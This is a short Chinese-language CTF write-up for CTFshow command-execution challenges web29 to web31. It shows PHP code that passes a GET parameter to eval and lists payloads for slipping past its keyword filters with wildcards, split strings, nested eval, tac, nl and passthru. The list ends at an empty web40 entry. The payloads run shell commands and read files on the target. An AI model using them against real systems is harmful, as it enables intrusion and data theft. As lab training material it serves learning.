【CTFshow】命令执行web29-web54
web29
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
1.get传入c,然后又用eval输出c,因此在c中传入命令执行语句(eval函数,将内容当做命令去执行)
2.绕过正则可以用通配符: * 、 ? 和字符串拼接来绕过
3.先看看目录payload:?c=system('ls'); (注意分号)
4.得到flag所在路径,那就好办了
payload:
1. ?c=system('cat fl*');
2. ?c=system('tac fl*');
3. ?c=system("tac fla?.php");
4. ?c=system("tac fla''g.php");
5.?c=eval($_GET[a]);&a=system('cat flag.php');
6.?c=system('nl fla*');
nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!
其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能
7.?c=echo `nl fl''ag.php`;
8.?c=passthru('cat fl*');
web30
1.审计代码,比上道题目多ban了system和php
2.一样可以用上道题的1 2 5 6 8
web31
1.if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
找一个上面没有ban掉的即可
web40
1.